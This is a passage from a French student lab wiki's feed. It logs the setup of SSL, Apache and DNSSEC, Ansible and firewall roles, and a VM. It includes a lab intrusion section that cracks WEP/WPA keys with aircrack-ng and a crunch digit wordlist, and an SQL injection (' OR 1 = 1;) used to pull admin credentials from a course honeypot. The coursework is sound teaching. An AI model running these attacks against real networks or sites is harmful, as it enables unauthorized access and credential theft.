Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57996</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57996"/>
				<updated>2022-01-12T12:26:29Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
